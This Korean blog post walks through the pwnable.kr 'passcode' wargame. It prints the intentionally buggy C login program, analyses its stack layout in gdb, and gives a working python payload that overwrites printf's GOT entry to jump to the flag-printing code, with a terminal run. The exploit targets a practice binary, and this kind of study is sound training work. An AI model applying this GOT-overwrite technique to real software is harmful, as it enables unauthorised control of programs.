본문 바로가기

Wargame/▷ pwnable.kr

[pwnable.kr] passcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}
cs

코드는 이렇다.

여기서 문제가 생기는 점은 scanf로 passcode와 passcode2를 입력받을때 &를 안써줬다는 점이다.

배열에선 &을 쓰지 않아도 그 배열 자체에서 해당주소값을 가리키기 때문에 상관이 없지만 int는 다르다.

&을 써서 해당 변수의 주소를 scanf에 써줘야하는데 안써줬기 때문에 warning이 뜬다.

gdb로 분석 한 뒤에 간략하게 중요한것만 골라서 정리했다.


welcome 함수에서 중요 어셈만 보면 아래와 같다.

push ebp
mov ebp, esp
lea edx, [ebp-0x70]
leave
ret

일단 함수 프롤로그와 에필로그가 있고 scanf name 인자로 ebp-0x70 부터 받는다.

즉 만약에 현재 ebp가 200이라고 가정한다면 88~187 딱 188 전까지 입력받는 셈이다.


이제 login 함수에서 중요한 부분만 보면

push ebp
mov ebp, esp
edx, DWORD PTR [ebp-0x10] - passcode1 인자 주소 ebp-0x10
call   0x8048420 <printf@plt> 입력받은 후 출력하는 부분
edx, DWORD PTR [ebp-0xc] - passcode1 인자 주소 ebp-0xc
leave
ret

첫번째 passcode1를 입력받는 주소 ebp-0x10이 주요인물이다.

위에서 설명했듯이 welcome 함수에서 ebp를 200으로 가정했다.

그렇다면 입력 문자열 100개는 88~187 주소에 저장되어 있고, leave ret을 하는데

leave에서 pop 한번 ret 에서 pop 한번 한다.

그러면 esp는 +8 되므로 208.

ret 되고 함수를 call하는데 이때 이유는 모르겠지만 esp가 -4 된다. 

login 함수를 콜하고 프롤로그 부분에서 push  ebp를 하는데 여기서 또 -4 되므로 esp는 200.

mov ebp, esp에서 200를 ebp로 옮기고 ebp-0x10 주소에다가 passcode1를 입력받는데

200-0x10 은 184 즉 name 에서 넣었던 97번째~100번째 값이 저장되어 있는 주소다.

97번째~100번째 4byte 값을 주소로 넣고 여기다가 %d로 정수값을 넣게되는데 여기서 공격하면 될 것같다.

passcode1를 입력받고 다음에 printf 함수가 호출되는데 이때 printf got 주소를 구해 97~100번째 값에다가 printf got 주소를 넣고 system("/bin/cat flag") 가 있는 코드영역 주소를 넣으면 printf 가 호출될때 printf_got 에 넣었던 시스템 코드영역 주소로 jmp하기 때문에 flag를 얻을 수 있다.

위 내용을 scanf로 표현하자면 이런 느낌이다. scanf("%d", &(printf_got)) <- system("/bin/cat flag") 코드영역 주소

payload

printf_got = 0x804a000

system("/bin/cat flag") 코드영역 주소 = 0x80485E3 -> %d로 받기 때문에 10진수로 입력해줘야 한다. (134514147)

(python -c 'print "A"*96 + "\x00\xa0\x04\x08" + "134514147") | ./passcode


1
2
3
4
5
passcode@ubuntu:~$ (python -c 'print "A"*96 + "\x00\xa0\x04\x08" + "134514147"') | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
cs


'Wargame > ▷ pwnable.kr' 카테고리의 다른 글

[pwnable.kr] Dragon  (0) 2018.07.08
[pwnable.kr] simple login  (0) 2018.07.08
[pwnable.kr] flag  (0) 2018.01.31
[pwnable.kr] bof  (0) 2018.01.31
[pwnable.kr] collision  (0) 2018.01.31